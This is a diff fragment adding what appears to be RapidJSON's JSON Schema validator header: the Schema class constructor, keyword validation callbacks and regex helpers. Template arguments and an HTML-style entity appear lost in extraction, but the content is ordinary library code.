arrayElementHashCodes; // Only validator access this + ISchemaValidator** validators; + SizeType validatorCount; + ISchemaValidator** patternPropertiesValidators; + SizeType patternPropertiesValidatorCount; + const SchemaType** patternPropertiesSchemas; + SizeType patternPropertiesSchemaCount; + PatternValidatorType valuePatternValidatorType; + PatternValidatorType objectPatternValidatorType; + SizeType arrayElementIndex; + bool* propertyExist; + bool inArray; + bool valueUniqueness; + bool arrayUniqueness; +}; + +/////////////////////////////////////////////////////////////////////////////// +// Schema + +template +class Schema { +public: + typedef typename SchemaDocumentType::ValueType ValueType; + typedef typename SchemaDocumentType::AllocatorType AllocatorType; + typedef typename SchemaDocumentType::PointerType PointerType; + typedef typename ValueType::EncodingType EncodingType; + typedef typename EncodingType::Ch Ch; + typedef SchemaValidationContext Context; + typedef Schema SchemaType; + typedef GenericValue SValue; + typedef IValidationErrorHandler ErrorHandler; + typedef GenericUri UriType; + friend class GenericSchemaDocument; + + Schema(SchemaDocumentType* schemaDocument, const PointerType& p, const ValueType& value, const ValueType& document, AllocatorType* allocator, const UriType& id = UriType()) : + allocator_(allocator), + uri_(schemaDocument->GetURI(), *allocator), + id_(id), + pointer_(p, allocator), + typeless_(schemaDocument->GetTypeless()), + enum_(), + enumCount_(), + not_(), + type_((1 << kTotalSchemaType) - 1), // typeless + validatorCount_(), + notValidatorIndex_(), + properties_(), + additionalPropertiesSchema_(), + patternProperties_(), + patternPropertyCount_(), + propertyCount_(), + minProperties_(), + maxProperties_(SizeType(~0)), + additionalProperties_(true), + hasDependencies_(), + hasRequired_(), + hasSchemaDependencies_(), + additionalItemsSchema_(), + itemsList_(), + itemsTuple_(), + itemsTupleCount_(), + minItems_(), + maxItems_(SizeType(~0)), + additionalItems_(true), + uniqueItems_(false), + pattern_(), + minLength_(0), + maxLength_(~SizeType(0)), + exclusiveMinimum_(false), + exclusiveMaximum_(false), + defaultValueLength_(0) + { + typedef typename ValueType::ConstValueIterator ConstValueIterator; + typedef typename ValueType::ConstMemberIterator ConstMemberIterator; + + // PR #1393 + // Early add this Schema and its $ref(s) in schemaDocument's map to avoid infinite + // recursion (with recursive schemas), since schemaDocument->getSchema() is always + // checked before creating a new one. Don't cache typeless_, though. + if (this != typeless_) { + typedef typename SchemaDocumentType::SchemaEntry SchemaEntry; + SchemaEntry *entry = schemaDocument->schemaMap_.template Push(); + new (entry) SchemaEntry(pointer_, this, true, allocator_); + schemaDocument->AddSchemaRefs(this); + } + + if (!value.IsObject()) + return; + + // If we have an id property, resolve it with the in-scope id + if (const ValueType* v = GetMember(value, GetIdString())) { + if (v->IsString()) { + UriType local(*v, allocator); + id_ = local.Resolve(id_, allocator); + } + } + + if (const ValueType* v = GetMember(value, GetTypeString())) { + type_ = 0; + if (v->IsString()) + AddType(*v); + else if (v->IsArray()) + for (ConstValueIterator itr = v->Begin(); itr != v->End(); ++itr) + AddType(*itr); + } + + if (const ValueType* v = GetMember(value, GetEnumString())) { + if (v->IsArray() && v->Size() > 0) { + enum_ = static_cast(allocator_->Malloc(sizeof(uint64_t) * v->Size())); + for (ConstValueIterator itr = v->Begin(); itr != v->End(); ++itr) { + typedef Hasher > EnumHasherType; + char buffer[256u + 24]; + MemoryPoolAllocator<> hasherAllocator(buffer, sizeof(buffer)); + EnumHasherType h(&hasherAllocator, 256); + itr->Accept(h); + enum_[enumCount_++] = h.GetHashCode(); + } + } + } + + if (schemaDocument) { + AssignIfExist(allOf_, *schemaDocument, p, value, GetAllOfString(), document); + AssignIfExist(anyOf_, *schemaDocument, p, value, GetAnyOfString(), document); + AssignIfExist(oneOf_, *schemaDocument, p, value, GetOneOfString(), document); + + if (const ValueType* v = GetMember(value, GetNotString())) { + schemaDocument->CreateSchema(¬_, p.Append(GetNotString(), allocator_), *v, document, id_); + notValidatorIndex_ = validatorCount_; + validatorCount_++; + } + } + + // Object + + const ValueType* properties = GetMember(value, GetPropertiesString()); + const ValueType* required = GetMember(value, GetRequiredString()); + const ValueType* dependencies = GetMember(value, GetDependenciesString()); + { + // Gather properties from properties/required/dependencies + SValue allProperties(kArrayType); + + if (properties && properties->IsObject()) + for (ConstMemberIterator itr = properties->MemberBegin(); itr != properties->MemberEnd(); ++itr) + AddUniqueElement(allProperties, itr->name); + + if (required && required->IsArray()) + for (ConstValueIterator itr = required->Begin(); itr != required->End(); ++itr) + if (itr->IsString()) + AddUniqueElement(allProperties, *itr); + + if (dependencies && dependencies->IsObject()) + for (ConstMemberIterator itr = dependencies->MemberBegin(); itr != dependencies->MemberEnd(); ++itr) { + AddUniqueElement(allProperties, itr->name); + if (itr->value.IsArray()) + for (ConstValueIterator i = itr->value.Begin(); i != itr->value.End(); ++i) + if (i->IsString()) + AddUniqueElement(allProperties, *i); + } + + if (allProperties.Size() > 0) { + propertyCount_ = allProperties.Size(); + properties_ = static_cast(allocator_->Malloc(sizeof(Property) * propertyCount_)); + for (SizeType i = 0; i < propertyCount_; i++) { + new (&properties_[i]) Property(); + properties_[i].name = allProperties[i]; + properties_[i].schema = typeless_; + } + } + } + + if (properties && properties->IsObject()) { + PointerType q = p.Append(GetPropertiesString(), allocator_); + for (ConstMemberIterator itr = properties->MemberBegin(); itr != properties->MemberEnd(); ++itr) { + SizeType index; + if (FindPropertyIndex(itr->name, &index)) + schemaDocument->CreateSchema(&properties_[index].schema, q.Append(itr->name, allocator_), itr->value, document, id_); + } + } + + if (const ValueType* v = GetMember(value, GetPatternPropertiesString())) { + PointerType q = p.Append(GetPatternPropertiesString(), allocator_); + patternProperties_ = static_cast(allocator_->Malloc(sizeof(PatternProperty) * v->MemberCount())); + patternPropertyCount_ = 0; + + for (ConstMemberIterator itr = v->MemberBegin(); itr != v->MemberEnd(); ++itr) { + new (&patternProperties_[patternPropertyCount_]) PatternProperty(); + patternProperties_[patternPropertyCount_].pattern = CreatePattern(itr->name); + schemaDocument->CreateSchema(&patternProperties_[patternPropertyCount_].schema, q.Append(itr->name, allocator_), itr->value, document, id_); + patternPropertyCount_++; + } + } + + if (required && required->IsArray()) + for (ConstValueIterator itr = required->Begin(); itr != required->End(); ++itr) + if (itr->IsString()) { + SizeType index; + if (FindPropertyIndex(*itr, &index)) { + properties_[index].required = true; + hasRequired_ = true; + } + } + + if (dependencies && dependencies->IsObject()) { + PointerType q = p.Append(GetDependenciesString(), allocator_); + hasDependencies_ = true; + for (ConstMemberIterator itr = dependencies->MemberBegin(); itr != dependencies->MemberEnd(); ++itr) { + SizeType sourceIndex; + if (FindPropertyIndex(itr->name, &sourceIndex)) { + if (itr->value.IsArray()) { + properties_[sourceIndex].dependencies = static_cast(allocator_->Malloc(sizeof(bool) * propertyCount_)); + std::memset(properties_[sourceIndex].dependencies, 0, sizeof(bool)* propertyCount_); + for (ConstValueIterator targetItr = itr->value.Begin(); targetItr != itr->value.End(); ++targetItr) { + SizeType targetIndex; + if (FindPropertyIndex(*targetItr, &targetIndex)) + properties_[sourceIndex].dependencies[targetIndex] = true; + } + } + else if (itr->value.IsObject()) { + hasSchemaDependencies_ = true; + schemaDocument->CreateSchema(&properties_[sourceIndex].dependenciesSchema, q.Append(itr->name, allocator_), itr->value, document, id_); + properties_[sourceIndex].dependenciesValidatorIndex = validatorCount_; + validatorCount_++; + } + } + } + } + + if (const ValueType* v = GetMember(value, GetAdditionalPropertiesString())) { + if (v->IsBool()) + additionalProperties_ = v->GetBool(); + else if (v->IsObject()) + schemaDocument->CreateSchema(&additionalPropertiesSchema_, p.Append(GetAdditionalPropertiesString(), allocator_), *v, document, id_); + } + + AssignIfExist(minProperties_, value, GetMinPropertiesString()); + AssignIfExist(maxProperties_, value, GetMaxPropertiesString()); + + // Array + if (const ValueType* v = GetMember(value, GetItemsString())) { + PointerType q = p.Append(GetItemsString(), allocator_); + if (v->IsObject()) // List validation + schemaDocument->CreateSchema(&itemsList_, q, *v, document, id_); + else if (v->IsArray()) { // Tuple validation + itemsTuple_ = static_cast(allocator_->Malloc(sizeof(const Schema*) * v->Size())); + SizeType index = 0; + for (ConstValueIterator itr = v->Begin(); itr != v->End(); ++itr, index++) + schemaDocument->CreateSchema(&itemsTuple_[itemsTupleCount_++], q.Append(index, allocator_), *itr, document, id_); + } + } + + AssignIfExist(minItems_, value, GetMinItemsString()); + AssignIfExist(maxItems_, value, GetMaxItemsString()); + + if (const ValueType* v = GetMember(value, GetAdditionalItemsString())) { + if (v->IsBool()) + additionalItems_ = v->GetBool(); + else if (v->IsObject()) + schemaDocument->CreateSchema(&additionalItemsSchema_, p.Append(GetAdditionalItemsString(), allocator_), *v, document, id_); + } + + AssignIfExist(uniqueItems_, value, GetUniqueItemsString()); + + // String + AssignIfExist(minLength_, value, GetMinLengthString()); + AssignIfExist(maxLength_, value, GetMaxLengthString()); + + if (const ValueType* v = GetMember(value, GetPatternString())) + pattern_ = CreatePattern(*v); + + // Number + if (const ValueType* v = GetMember(value, GetMinimumString())) + if (v->IsNumber()) + minimum_.CopyFrom(*v, *allocator_); + + if (const ValueType* v = GetMember(value, GetMaximumString())) + if (v->IsNumber()) + maximum_.CopyFrom(*v, *allocator_); + + AssignIfExist(exclusiveMinimum_, value, GetExclusiveMinimumString()); + AssignIfExist(exclusiveMaximum_, value, GetExclusiveMaximumString()); + + if (const ValueType* v = GetMember(value, GetMultipleOfString())) + if (v->IsNumber() && v->GetDouble() > 0.0) + multipleOf_.CopyFrom(*v, *allocator_); + + // Default + if (const ValueType* v = GetMember(value, GetDefaultValueString())) + if (v->IsString()) + defaultValueLength_ = v->GetStringLength(); + + } + + ~Schema() { + AllocatorType::Free(enum_); + if (properties_) { + for (SizeType i = 0; i < propertyCount_; i++) + properties_[i].~Property(); + AllocatorType::Free(properties_); + } + if (patternProperties_) { + for (SizeType i = 0; i < patternPropertyCount_; i++) + patternProperties_[i].~PatternProperty(); + AllocatorType::Free(patternProperties_); + } + AllocatorType::Free(itemsTuple_); +#if RAPIDJSON_SCHEMA_HAS_REGEX + if (pattern_) { + pattern_->~RegexType(); + AllocatorType::Free(pattern_); + } +#endif + } + + const SValue& GetURI() const { + return uri_; + } + + const UriType& GetId() const { + return id_; + } + + const PointerType& GetPointer() const { + return pointer_; + } + + bool BeginValue(Context& context) const { + if (context.inArray) { + if (uniqueItems_) + context.valueUniqueness = true; + + if (itemsList_) + context.valueSchema = itemsList_; + else if (itemsTuple_) { + if (context.arrayElementIndex < itemsTupleCount_) + context.valueSchema = itemsTuple_[context.arrayElementIndex]; + else if (additionalItemsSchema_) + context.valueSchema = additionalItemsSchema_; + else if (additionalItems_) + context.valueSchema = typeless_; + else { + context.error_handler.DisallowedItem(context.arrayElementIndex); + // Must set valueSchema for when kValidateContinueOnErrorFlag is set, else reports spurious type error + context.valueSchema = typeless_; + // Must bump arrayElementIndex for when kValidateContinueOnErrorFlag is set + context.arrayElementIndex++; + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorAdditionalItems); + } + } + else + context.valueSchema = typeless_; + + context.arrayElementIndex++; + } + return true; + } + + RAPIDJSON_FORCEINLINE bool EndValue(Context& context) const { + // Only check pattern properties if we have validators + if (context.patternPropertiesValidatorCount > 0) { + bool otherValid = false; + SizeType count = context.patternPropertiesValidatorCount; + if (context.objectPatternValidatorType != Context::kPatternValidatorOnly) + otherValid = context.patternPropertiesValidators[--count]->IsValid(); + + bool patternValid = true; + for (SizeType i = 0; i < count; i++) + if (!context.patternPropertiesValidators[i]->IsValid()) { + patternValid = false; + break; + } + + if (context.objectPatternValidatorType == Context::kPatternValidatorOnly) { + if (!patternValid) { + context.error_handler.PropertyViolations(context.patternPropertiesValidators, count); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorPatternProperties); + } + } + else if (context.objectPatternValidatorType == Context::kPatternValidatorWithProperty) { + if (!patternValid || !otherValid) { + context.error_handler.PropertyViolations(context.patternPropertiesValidators, count + 1); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorPatternProperties); + } + } + else if (!patternValid && !otherValid) { // kPatternValidatorWithAdditionalProperty) + context.error_handler.PropertyViolations(context.patternPropertiesValidators, count + 1); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorPatternProperties); + } + } + + // For enums only check if we have a hasher + if (enum_ && context.hasher) { + const uint64_t h = context.factory.GetHashCode(context.hasher); + for (SizeType i = 0; i < enumCount_; i++) + if (enum_[i] == h) + goto foundEnum; + context.error_handler.DisallowedValue(kValidateErrorEnum); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorEnum); + foundEnum:; + } + + // Only check allOf etc if we have validators + if (context.validatorCount > 0) { + if (allOf_.schemas) + for (SizeType i = allOf_.begin; i < allOf_.begin + allOf_.count; i++) + if (!context.validators[i]->IsValid()) { + context.error_handler.NotAllOf(&context.validators[allOf_.begin], allOf_.count); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorAllOf); + } + + if (anyOf_.schemas) { + for (SizeType i = anyOf_.begin; i < anyOf_.begin + anyOf_.count; i++) + if (context.validators[i]->IsValid()) + goto foundAny; + context.error_handler.NoneOf(&context.validators[anyOf_.begin], anyOf_.count); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorAnyOf); + foundAny:; + } + + if (oneOf_.schemas) { + bool oneValid = false; + for (SizeType i = oneOf_.begin; i < oneOf_.begin + oneOf_.count; i++) + if (context.validators[i]->IsValid()) { + if (oneValid) { + context.error_handler.NotOneOf(&context.validators[oneOf_.begin], oneOf_.count, true); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorOneOfMatch); + } else + oneValid = true; + } + if (!oneValid) { + context.error_handler.NotOneOf(&context.validators[oneOf_.begin], oneOf_.count, false); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorOneOf); + } + } + + if (not_ && context.validators[notValidatorIndex_]->IsValid()) { + context.error_handler.Disallowed(); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorNot); + } + } + + return true; + } + + bool Null(Context& context) const { + if (!(type_ & (1 << kNullSchemaType))) { + DisallowedType(context, GetNullString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + return CreateParallelValidator(context); + } + + bool Bool(Context& context, bool) const { + if (!(type_ & (1 << kBooleanSchemaType))) { + DisallowedType(context, GetBooleanString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + return CreateParallelValidator(context); + } + + bool Int(Context& context, int i) const { + if (!CheckInt(context, i)) + return false; + return CreateParallelValidator(context); + } + + bool Uint(Context& context, unsigned u) const { + if (!CheckUint(context, u)) + return false; + return CreateParallelValidator(context); + } + + bool Int64(Context& context, int64_t i) const { + if (!CheckInt(context, i)) + return false; + return CreateParallelValidator(context); + } + + bool Uint64(Context& context, uint64_t u) const { + if (!CheckUint(context, u)) + return false; + return CreateParallelValidator(context); + } + + bool Double(Context& context, double d) const { + if (!(type_ & (1 << kNumberSchemaType))) { + DisallowedType(context, GetNumberString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + + if (!minimum_.IsNull() && !CheckDoubleMinimum(context, d)) + return false; + + if (!maximum_.IsNull() && !CheckDoubleMaximum(context, d)) + return false; + + if (!multipleOf_.IsNull() && !CheckDoubleMultipleOf(context, d)) + return false; + + return CreateParallelValidator(context); + } + + bool String(Context& context, const Ch* str, SizeType length, bool) const { + if (!(type_ & (1 << kStringSchemaType))) { + DisallowedType(context, GetStringString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + + if (minLength_ != 0 || maxLength_ != SizeType(~0)) { + SizeType count; + if (internal::CountStringCodePoint(str, length, &count)) { + if (count < minLength_) { + context.error_handler.TooShort(str, length, minLength_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMinLength); + } + if (count > maxLength_) { + context.error_handler.TooLong(str, length, maxLength_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMaxLength); + } + } + } + + if (pattern_ && !IsPatternMatch(pattern_, str, length)) { + context.error_handler.DoesNotMatch(str, length); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorPattern); + } + + return CreateParallelValidator(context); + } + + bool StartObject(Context& context) const { + if (!(type_ & (1 << kObjectSchemaType))) { + DisallowedType(context, GetObjectString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + + if (hasDependencies_ || hasRequired_) { + context.propertyExist = static_cast(context.factory.MallocState(sizeof(bool) * propertyCount_)); + std::memset(context.propertyExist, 0, sizeof(bool) * propertyCount_); + } + + if (patternProperties_) { // pre-allocate schema array + SizeType count = patternPropertyCount_ + 1; // extra for valuePatternValidatorType + context.patternPropertiesSchemas = static_cast(context.factory.MallocState(sizeof(const SchemaType*) * count)); + context.patternPropertiesSchemaCount = 0; + std::memset(context.patternPropertiesSchemas, 0, sizeof(SchemaType*) * count); + } + + return CreateParallelValidator(context); + } + + bool Key(Context& context, const Ch* str, SizeType len, bool) const { + if (patternProperties_) { + context.patternPropertiesSchemaCount = 0; + for (SizeType i = 0; i < patternPropertyCount_; i++) + if (patternProperties_[i].pattern && IsPatternMatch(patternProperties_[i].pattern, str, len)) { + context.patternPropertiesSchemas[context.patternPropertiesSchemaCount++] = patternProperties_[i].schema; + context.valueSchema = typeless_; + } + } + + SizeType index = 0; + if (FindPropertyIndex(ValueType(str, len).Move(), &index)) { + if (context.patternPropertiesSchemaCount > 0) { + context.patternPropertiesSchemas[context.patternPropertiesSchemaCount++] = properties_[index].schema; + context.valueSchema = typeless_; + context.valuePatternValidatorType = Context::kPatternValidatorWithProperty; + } + else + context.valueSchema = properties_[index].schema; + + if (context.propertyExist) + context.propertyExist[index] = true; + + return true; + } + + if (additionalPropertiesSchema_) { + if (context.patternPropertiesSchemaCount > 0) { + context.patternPropertiesSchemas[context.patternPropertiesSchemaCount++] = additionalPropertiesSchema_; + context.valueSchema = typeless_; + context.valuePatternValidatorType = Context::kPatternValidatorWithAdditionalProperty; + } + else + context.valueSchema = additionalPropertiesSchema_; + return true; + } + else if (additionalProperties_) { + context.valueSchema = typeless_; + return true; + } + + if (context.patternPropertiesSchemaCount == 0) { // patternProperties are not additional properties + // Must set valueSchema for when kValidateContinueOnErrorFlag is set, else reports spurious type error + context.valueSchema = typeless_; + context.error_handler.DisallowedProperty(str, len); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorAdditionalProperties); + } + + return true; + } + + bool EndObject(Context& context, SizeType memberCount) const { + if (hasRequired_) { + context.error_handler.StartMissingProperties(); + for (SizeType index = 0; index < propertyCount_; index++) + if (properties_[index].required && !context.propertyExist[index]) + if (properties_[index].schema->defaultValueLength_ == 0 ) + context.error_handler.AddMissingProperty(properties_[index].name); + if (context.error_handler.EndMissingProperties()) + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorRequired); + } + + if (memberCount < minProperties_) { + context.error_handler.TooFewProperties(memberCount, minProperties_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMinProperties); + } + + if (memberCount > maxProperties_) { + context.error_handler.TooManyProperties(memberCount, maxProperties_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMaxProperties); + } + + if (hasDependencies_) { + context.error_handler.StartDependencyErrors(); + for (SizeType sourceIndex = 0; sourceIndex < propertyCount_; sourceIndex++) { + const Property& source = properties_[sourceIndex]; + if (context.propertyExist[sourceIndex]) { + if (source.dependencies) { + context.error_handler.StartMissingDependentProperties(); + for (SizeType targetIndex = 0; targetIndex < propertyCount_; targetIndex++) + if (source.dependencies[targetIndex] && !context.propertyExist[targetIndex]) + context.error_handler.AddMissingDependentProperty(properties_[targetIndex].name); + context.error_handler.EndMissingDependentProperties(source.name); + } + else if (source.dependenciesSchema) { + ISchemaValidator* dependenciesValidator = context.validators[source.dependenciesValidatorIndex]; + if (!dependenciesValidator->IsValid()) + context.error_handler.AddDependencySchemaError(source.name, dependenciesValidator); + } + } + } + if (context.error_handler.EndDependencyErrors()) + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorDependencies); + } + + return true; + } + + bool StartArray(Context& context) const { + context.arrayElementIndex = 0; + context.inArray = true; // Ensure we note that we are in an array + + if (!(type_ & (1 << kArraySchemaType))) { + DisallowedType(context, GetArrayString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + + return CreateParallelValidator(context); + } + + bool EndArray(Context& context, SizeType elementCount) const { + context.inArray = false; + + if (elementCount < minItems_) { + context.error_handler.TooFewItems(elementCount, minItems_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMinItems); + } + + if (elementCount > maxItems_) { + context.error_handler.TooManyItems(elementCount, maxItems_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMaxItems); + } + + return true; + } + + static const ValueType& GetValidateErrorKeyword(ValidateErrorCode validateErrorCode) { + switch (validateErrorCode) { + case kValidateErrorMultipleOf: return GetMultipleOfString(); + case kValidateErrorMaximum: return GetMaximumString(); + case kValidateErrorExclusiveMaximum: return GetMaximumString(); // Same + case kValidateErrorMinimum: return GetMinimumString(); + case kValidateErrorExclusiveMinimum: return GetMinimumString(); // Same + + case kValidateErrorMaxLength: return GetMaxLengthString(); + case kValidateErrorMinLength: return GetMinLengthString(); + case kValidateErrorPattern: return GetPatternString(); + + case kValidateErrorMaxItems: return GetMaxItemsString(); + case kValidateErrorMinItems: return GetMinItemsString(); + case kValidateErrorUniqueItems: return GetUniqueItemsString(); + case kValidateErrorAdditionalItems: return GetAdditionalItemsString(); + + case kValidateErrorMaxProperties: return GetMaxPropertiesString(); + case kValidateErrorMinProperties: return GetMinPropertiesString(); + case kValidateErrorRequired: return GetRequiredString(); + case kValidateErrorAdditionalProperties: return GetAdditionalPropertiesString(); + case kValidateErrorPatternProperties: return GetPatternPropertiesString(); + case kValidateErrorDependencies: return GetDependenciesString(); + + case kValidateErrorEnum: return GetEnumString(); + case kValidateErrorType: return GetTypeString(); + + case kValidateErrorOneOf: return GetOneOfString(); + case kValidateErrorOneOfMatch: return GetOneOfString(); // Same + case kValidateErrorAllOf: return GetAllOfString(); + case kValidateErrorAnyOf: return GetAnyOfString(); + case kValidateErrorNot: return GetNotString(); + + default: return GetNullString(); + } + } + + + // Generate functions for string literal according to Ch +#define RAPIDJSON_STRING_(name, ...) \ + static const ValueType& Get##name##String() {\ + static const Ch s[] = { __VA_ARGS__, '\0' };\ + static const ValueType v(s, static_cast(sizeof(s) / sizeof(Ch) - 1));\ + return v;\ + } + + RAPIDJSON_STRING_(Null, 'n', 'u', 'l', 'l') + RAPIDJSON_STRING_(Boolean, 'b', 'o', 'o', 'l', 'e', 'a', 'n') + RAPIDJSON_STRING_(Object, 'o', 'b', 'j', 'e', 'c', 't') + RAPIDJSON_STRING_(Array, 'a', 'r', 'r', 'a', 'y') + RAPIDJSON_STRING_(String, 's', 't', 'r', 'i', 'n', 'g') + RAPIDJSON_STRING_(Number, 'n', 'u', 'm', 'b', 'e', 'r') + RAPIDJSON_STRING_(Integer, 'i', 'n', 't', 'e', 'g', 'e', 'r') + RAPIDJSON_STRING_(Type, 't', 'y', 'p', 'e') + RAPIDJSON_STRING_(Enum, 'e', 'n', 'u', 'm') + RAPIDJSON_STRING_(AllOf, 'a', 'l', 'l', 'O', 'f') + RAPIDJSON_STRING_(AnyOf, 'a', 'n', 'y', 'O', 'f') + RAPIDJSON_STRING_(OneOf, 'o', 'n', 'e', 'O', 'f') + RAPIDJSON_STRING_(Not, 'n', 'o', 't') + RAPIDJSON_STRING_(Properties, 'p', 'r', 'o', 'p', 'e', 'r', 't', 'i', 'e', 's') + RAPIDJSON_STRING_(Required, 'r', 'e', 'q', 'u', 'i', 'r', 'e', 'd') + RAPIDJSON_STRING_(Dependencies, 'd', 'e', 'p', 'e', 'n', 'd', 'e', 'n', 'c', 'i', 'e', 's') + RAPIDJSON_STRING_(PatternProperties, 'p', 'a', 't', 't', 'e', 'r', 'n', 'P', 'r', 'o', 'p', 'e', 'r', 't', 'i', 'e', 's') + RAPIDJSON_STRING_(AdditionalProperties, 'a', 'd', 'd', 'i', 't', 'i', 'o', 'n', 'a', 'l', 'P', 'r', 'o', 'p', 'e', 'r', 't', 'i', 'e', 's') + RAPIDJSON_STRING_(MinProperties, 'm', 'i', 'n', 'P', 'r', 'o', 'p', 'e', 'r', 't', 'i', 'e', 's') + RAPIDJSON_STRING_(MaxProperties, 'm', 'a', 'x', 'P', 'r', 'o', 'p', 'e', 'r', 't', 'i', 'e', 's') + RAPIDJSON_STRING_(Items, 'i', 't', 'e', 'm', 's') + RAPIDJSON_STRING_(MinItems, 'm', 'i', 'n', 'I', 't', 'e', 'm', 's') + RAPIDJSON_STRING_(MaxItems, 'm', 'a', 'x', 'I', 't', 'e', 'm', 's') + RAPIDJSON_STRING_(AdditionalItems, 'a', 'd', 'd', 'i', 't', 'i', 'o', 'n', 'a', 'l', 'I', 't', 'e', 'm', 's') + RAPIDJSON_STRING_(UniqueItems, 'u', 'n', 'i', 'q', 'u', 'e', 'I', 't', 'e', 'm', 's') + RAPIDJSON_STRING_(MinLength, 'm', 'i', 'n', 'L', 'e', 'n', 'g', 't', 'h') + RAPIDJSON_STRING_(MaxLength, 'm', 'a', 'x', 'L', 'e', 'n', 'g', 't', 'h') + RAPIDJSON_STRING_(Pattern, 'p', 'a', 't', 't', 'e', 'r', 'n') + RAPIDJSON_STRING_(Minimum, 'm', 'i', 'n', 'i', 'm', 'u', 'm') + RAPIDJSON_STRING_(Maximum, 'm', 'a', 'x', 'i', 'm', 'u', 'm') + RAPIDJSON_STRING_(ExclusiveMinimum, 'e', 'x', 'c', 'l', 'u', 's', 'i', 'v', 'e', 'M', 'i', 'n', 'i', 'm', 'u', 'm') + RAPIDJSON_STRING_(ExclusiveMaximum, 'e', 'x', 'c', 'l', 'u', 's', 'i', 'v', 'e', 'M', 'a', 'x', 'i', 'm', 'u', 'm') + RAPIDJSON_STRING_(MultipleOf, 'm', 'u', 'l', 't', 'i', 'p', 'l', 'e', 'O', 'f') + RAPIDJSON_STRING_(DefaultValue, 'd', 'e', 'f', 'a', 'u', 'l', 't') + RAPIDJSON_STRING_(Ref, '$', 'r', 'e', 'f') + RAPIDJSON_STRING_(Id, 'i', 'd') + + RAPIDJSON_STRING_(SchemeEnd, ':') + RAPIDJSON_STRING_(AuthStart, '/', '/') + RAPIDJSON_STRING_(QueryStart, '?') + RAPIDJSON_STRING_(FragStart, '#') + RAPIDJSON_STRING_(Slash, '/') + RAPIDJSON_STRING_(Dot, '.') + +#undef RAPIDJSON_STRING_ + +private: + enum SchemaValueType { + kNullSchemaType, + kBooleanSchemaType, + kObjectSchemaType, + kArraySchemaType, + kStringSchemaType, + kNumberSchemaType, + kIntegerSchemaType, + kTotalSchemaType + }; + +#if RAPIDJSON_SCHEMA_USE_INTERNALREGEX + typedef internal::GenericRegex RegexType; +#elif RAPIDJSON_SCHEMA_USE_STDREGEX + typedef std::basic_regex RegexType; +#else + typedef char RegexType; +#endif + + struct SchemaArray { + SchemaArray() : schemas(), count() {} + ~SchemaArray() { AllocatorType::Free(schemas); } + const SchemaType** schemas; + SizeType begin; // begin index of context.validators + SizeType count; + }; + + template + void AddUniqueElement(V1& a, const V2& v) { + for (typename V1::ConstValueIterator itr = a.Begin(); itr != a.End(); ++itr) + if (*itr == v) + return; + V1 c(v, *allocator_); + a.PushBack(c, *allocator_); + } + + static const ValueType* GetMember(const ValueType& value, const ValueType& name) { + typename ValueType::ConstMemberIterator itr = value.FindMember(name); + return itr != value.MemberEnd() ? &(itr->value) : 0; + } + + static void AssignIfExist(bool& out, const ValueType& value, const ValueType& name) { + if (const ValueType* v = GetMember(value, name)) + if (v->IsBool()) + out = v->GetBool(); + } + + static void AssignIfExist(SizeType& out, const ValueType& value, const ValueType& name) { + if (const ValueType* v = GetMember(value, name)) + if (v->IsUint64() && v->GetUint64() <= SizeType(~0)) + out = static_cast(v->GetUint64()); + } + + void AssignIfExist(SchemaArray& out, SchemaDocumentType& schemaDocument, const PointerType& p, const ValueType& value, const ValueType& name, const ValueType& document) { + if (const ValueType* v = GetMember(value, name)) { + if (v->IsArray() && v->Size() > 0) { + PointerType q = p.Append(name, allocator_); + out.count = v->Size(); + out.schemas = static_cast(allocator_->Malloc(out.count * sizeof(const Schema*))); + memset(out.schemas, 0, sizeof(Schema*)* out.count); + for (SizeType i = 0; i < out.count; i++) + schemaDocument.CreateSchema(&out.schemas[i], q.Append(i, allocator_), (*v)[i], document, id_); + out.begin = validatorCount_; + validatorCount_ += out.count; + } + } + } + +#if RAPIDJSON_SCHEMA_USE_INTERNALREGEX + template + RegexType* CreatePattern(const ValueType& value) { + if (value.IsString()) { + RegexType* r = new (allocator_->Malloc(sizeof(RegexType))) RegexType(value.GetString(), allocator_); + if (!r->IsValid()) { + r->~RegexType(); + AllocatorType::Free(r); + r = 0; + } + return r; + } + return 0; + } + + static bool IsPatternMatch(const RegexType* pattern, const Ch *str, SizeType) { + GenericRegexSearch rs(*pattern); + return rs.Search(str); + } +#elif RAPIDJSON_SCHEMA_USE_STDREGEX + template + RegexType* CreatePattern(const ValueType& value) { + if (value.IsString()) { + RegexType *r = static_cast(allocator_->Malloc(sizeof(RegexType))); + try { + return new (r) RegexType(value.GetString(), std::size_t(value.GetStringLength()), std::regex_constants::ECMAScript); + } + catch (const std::regex_error&) { + AllocatorType::Free(r); + } + } + return 0; + } + + static bool IsPatternMatch(const RegexType* pattern, const Ch *str, SizeType length) { + std::match_results r; + return std::regex_search(str, str + length, r, *pattern); + } +#else + template + RegexType* CreatePattern(const ValueType&) { return 0; } + + static bool IsPatternMatch(const RegexType*, const Ch *, SizeType) { return true; } +#endif // RAPIDJSON_SCHEMA_USE_STDREGEX + 